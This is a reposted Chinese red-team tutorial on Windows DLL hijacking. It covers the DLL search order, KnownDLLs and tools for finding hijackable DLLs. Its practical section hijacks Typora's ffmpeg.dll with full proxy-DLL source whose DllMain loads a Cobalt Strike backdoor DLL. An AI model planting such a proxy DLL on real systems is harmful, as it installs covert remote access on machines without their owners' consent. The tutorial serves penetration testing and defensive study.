Windows安全攻防-DLL劫持

admin 2026-01-11 01:01:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档详解WindowsDLL劫持原理,利用加载搜索顺序漏洞在程序目录植入恶意代码。介绍了ProcessMonitor查找目标DLL及利用Aheadlib转发函数维持原功能的技巧。实战演示针对Typora的劫持与CS上线,强调仅限授权测试使用。 综合评分: 90 文章分类: 红队,渗透测试,漏洞分析,安全工具


cover_image

Windows安全攻防-DLL劫持

R0x7e

剑外思归客

2026年1月9日 21:33 江苏

DLL劫持

什么是DLL文件

DLL的全称是Dynamic Link Library, 中文叫做“动态链接文件”。在Windows操作系统中, DLL对于程序执行是非常重要的, 因为程序在执行的时候, 必须链接到DLL文件, 才能够正确地运行。而有些DLL文件可以被许多程序共用。因此, 程序设计人员可以利用DLL文件, 使程序不至于太过巨大。但是当安装的程序越来越多, DLL文件也就会越来越多, 如果当你删除程序的时候, 没有用的DLL文件没有被删除的话, 久而久之就造成系统的负担了。DLL文件和EXE文件同样可以由编译语言生成,但是DLL没有程序启动入口,所以DLL文件不可执行

举个例子:c语言在执行输出程序的时候需要引入头文件,而一个exe程序执行的时候也需要引入DLL文件,才能正常运行

DLL优先加载目录顺序

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

SafeDllSearchMode 为一个安全 DLL 搜索模式,其配置注册表项:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
  • 值为 1:启用安全 DLL 搜索模式(默认行为)。
  • 值为 0:禁用安全 DLL 搜索模式。

该配置也决定了DLL搜索的顺序,在 Safe DLL search mode 启用 时,Windows 的标准搜索顺序会把当前程序目录(Current directory / Current working directory)放到更靠后的位置,通常情况下DLL搜索并加载位置的顺序为:

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

Windows7以上

系统默认开启SafeDllSearchMode 同时采用了KnownDLLs,如果要加载的 DLL 名称命中 KnownDLLs 列表,系统会优先使用系统提供的已知 DLL(通常来自系统目录对应的已知映射),从而避免从应用目录/当前目录等位置加载同名 DLL(降低同名 DLL 劫持风险)。

\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

\KnownDLLs注册表项指定的DLL是已经被操作系统加载过的DLL,不会被应用程序搜索并加载,不在列表中的,仍按常规 搜索顺序

DLL劫持用到的工具

Process Monitor

Process Monitor 是一款由 Sysinternals 公司开发的包含强大的监视和过滤功能的高级 Windows 监视工具,可实时显示文件系统、注册表、进程/线程的活动。它结合了两个 Sysinternals 的旧版工具 Filemon 和 Regmon 的功能,并添加了一个包含丰富的和非破坏性的广泛增强过滤功能列表,全面的事件属性(例如会话 ID 和用户名称),可靠的进程信息,每个操作的完整线程、堆栈与集成符号支持,同时记录到一个文件中,以及更多。其独一无二的强大功能将使 Process Monitor 在您的系统故障排除和恶意软件检测中发挥重要的作用。

该工具可以查看应用程序都调用了那些DLL

火绒剑

自动查找工具

该工具需要指定出需要查找的应用程序,进而查看该程序是否存在可以利用的DLL文件

https://github.com/sensepost/rattler

Aheadlib注入工具

这个工具简单的说,就是你找到可以利用的dll文件,将该文件导入进入,这个工具会自动的为你生成一个cpp代码,这个cpp代码本质上是将原dll的函数名提取出来,进而引用进来,所以说原dll不要删除,但是你要修改一下,比如原名称为ffmpeg.dll你要修改为ffmpegOrg.dll,然后在vs编辑器里面打开并且生成cpp文件,后面会详细讲到具体步骤。

工具地址:https://bbs.kanxue.com/thread-224408.htm

DLL劫持

通常情况下,程序加载DLL文件并不会指定DLL位置,所以程序根据相应的系统规则来查找DLL文件,如上文”DLL加载过程”所述,DLL劫持本质上是通过DLL加载顺序的漏洞,伪造一个DLL文件,将其放置在应用程序目录内,该DLL文件包含了正常的DLL文件的功能,但是攻击者夹带私货,进而执行指定的后门程序,一般情况下,当相应的应用程序调用了被劫持后的DLL文件,就会执行后门程序。

DLL劫持条件

  • 想要劫持的DLL不能在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  • 其dll是EXE程序首先加载的DLL,而不是依赖其他DLL加载的
  • DLL确实被加载进内存中

可以通过Process Monitor或者火绒查看软件都进行了哪些DLL调用

实践

使用Cobalt Strike生成带有后门的DLL文件

创建监听器这里就不说了,知识库里面也有介绍,生成dll文件

然后保存下来即可,名字可以随意,但是后缀必须是dll,我将其命名为test.dll,后面进行使用

寻找可以劫持的DLL

以Typora为例,首先使用火绒剑查看Typora都调用了哪些DLL文件,发现一个很明显的ffmpeg.dll不是来自于系统文件,那就更不可能在注册表中出现了,由此可以猜测该dll可能存在被劫持的风险

使用Aheadlib生成cpp代码

使用Aheadlib打开原dll文件

将生成的cpp文件复制下来

生成DLL文件

打开vs编辑器,创建一个cpp项目,项目名称为ffmpeg,删除无关文件(下图标记的文件)

点击项目——>ffmpeg属性——>c/c++——>代码生成——>运行库修改为多线程(/MT)

预编译头改为不使用预编译

将项目生成的代码删除,拷贝的cpp代码粘贴进去,粘贴进入之后,如果不加改动的话,还是和原来的dll文件功能一样,没有任何变化,需要手动添加一些执行的代码。

弹出计算器的代码

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

加载其他dll的代码

LoadLibraryA("test.dll");   //加载一个test.dll的文件

最终修改的代码如下,需要注意代码添加的位置

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include&nbsp;<Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_buffer_create=ffmpegOrg.av_buffer_create,@1")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_buffer_get_opaque=ffmpegOrg.av_buffer_get_opaque,@2")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_dict_count=ffmpegOrg.av_dict_count,@3")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_dict_free=ffmpegOrg.av_dict_free,@4")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_dict_get=ffmpegOrg.av_dict_get,@5")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_dict_set=ffmpegOrg.av_dict_set,@6")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_force_cpu_flags=ffmpegOrg.av_force_cpu_flags,@7")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_frame_alloc=ffmpegOrg.av_frame_alloc,@8")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_frame_clone=ffmpegOrg.av_frame_clone,@9")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_frame_free=ffmpegOrg.av_frame_free,@10")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_frame_unref=ffmpegOrg.av_frame_unref,@11")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_free=ffmpegOrg.av_free,@12")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_get_bytes_per_sample=ffmpegOrg.av_get_bytes_per_sample,@13")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_get_cpu_flags=ffmpegOrg.av_get_cpu_flags,@14")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_image_check_size=ffmpegOrg.av_image_check_size,@15")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_init_packet=ffmpegOrg.av_init_packet,@16")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_log_set_level=ffmpegOrg.av_log_set_level,@17")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_malloc=ffmpegOrg.av_malloc,@18")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_max_alloc=ffmpegOrg.av_max_alloc,@19")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_new_packet=ffmpegOrg.av_new_packet,@20")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_packet_alloc=ffmpegOrg.av_packet_alloc,@21")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_packet_copy_props=ffmpegOrg.av_packet_copy_props,@22")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_packet_free=ffmpegOrg.av_packet_free,@23")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_packet_get_side_data=ffmpegOrg.av_packet_get_side_data,@24")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_packet_unref=ffmpegOrg.av_packet_unref,@25")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_rdft_calc=ffmpegOrg.av_rdft_calc,@26")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_rdft_end=ffmpegOrg.av_rdft_end,@27")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_rdft_init=ffmpegOrg.av_rdft_init,@28")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_read_frame=ffmpegOrg.av_read_frame,@29")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_rescale_q=ffmpegOrg.av_rescale_q,@30")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_samples_get_buffer_size=ffmpegOrg.av_samples_get_buffer_size,@31")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_seek_frame=ffmpegOrg.av_seek_frame,@32")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_stream_get_first_dts=ffmpegOrg.av_stream_get_first_dts,@33")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_stream_get_side_data=ffmpegOrg.av_stream_get_side_data,@34")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:av_strerror=ffmpegOrg.av_strerror,@35")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_align_dimensions=ffmpegOrg.avcodec_align_dimensions,@36")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_alloc_context3=ffmpegOrg.avcodec_alloc_context3,@37")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_descriptor_get=ffmpegOrg.avcodec_descriptor_get,@38")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_descriptor_next=ffmpegOrg.avcodec_descriptor_next,@39")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_find_decoder=ffmpegOrg.avcodec_find_decoder,@40")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_flush_buffers=ffmpegOrg.avcodec_flush_buffers,@41")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_free_context=ffmpegOrg.avcodec_free_context,@42")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_get_name=ffmpegOrg.avcodec_get_name,@43")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_open2=ffmpegOrg.avcodec_open2,@44")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_parameters_to_context=ffmpegOrg.avcodec_parameters_to_context,@45")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_receive_frame=ffmpegOrg.avcodec_receive_frame,@46")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avcodec_send_packet=ffmpegOrg.avcodec_send_packet,@47")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avformat_alloc_context=ffmpegOrg.avformat_alloc_context,@48")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avformat_close_input=ffmpegOrg.avformat_close_input,@49")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avformat_find_stream_info=ffmpegOrg.avformat_find_stream_info,@50")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avformat_free_context=ffmpegOrg.avformat_free_context,@51")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avformat_open_input=ffmpegOrg.avformat_open_input,@52")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avio_alloc_context=ffmpegOrg.avio_alloc_context,@53")
#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:avio_close=ffmpegOrg.avio_close,@54")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI&nbsp;DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
&nbsp;if&nbsp;(dwReason == DLL_PROCESS_ATTACH)
&nbsp;{
&nbsp; DisableThreadLibraryCalls(hModule);
&nbsp; STARTUPINFO si = {&nbsp;sizeof(si) };
&nbsp; PROCESS_INFORMATION pi;
&nbsp; CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"),&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;false,&nbsp;0,&nbsp;NULL,&nbsp;NULL, &si, &pi);
&nbsp; LoadLibraryA("test.dll");
&nbsp;}
&nbsp;else&nbsp;if&nbsp;(dwReason == DLL_PROCESS_DETACH)
&nbsp;{
&nbsp;}

&nbsp;return&nbsp;TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

点击生成->生成解决方案,即可将程序编译成dll文件

DLL劫持

将cs生成的dll和vs生成的dll放到应用程序的目录中,一般是安装目录,并且将原dll重命名为ffmpegOrg,这个重命名的名字是原dll名字加上Org

运行Typora,弹出计算器,cs上线,成功!

参考与引用:

动态链接库搜索顺序 – Win32 应用 |Microsoft学习

dll 劫持和应用研究

最新dll劫持详解

DLL Hijacking & COM Hijacking ByPass UAC – 议题解读

超详细之dll劫持+打包钓鱼详细教程

DLL劫持漏洞自动化识别工具Rattler测试

如何快速完成DLL劫持,实现权限维持,重启上线

公众号文章中的技术只做研究之用,禁止用来从事非法用途,如有使用文章中的技术从事非法活动,一切后果由使用者自负,与本公众号无关。

以上技巧仅用于授权渗透测试、企业内部防护建设、安全研究,严禁用于非法攻击、破坏他人系统,违反法律将承担相应责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:剑外思归客 R0x7e《Windows安全攻防-DLL劫持》

评论:0   参与:  0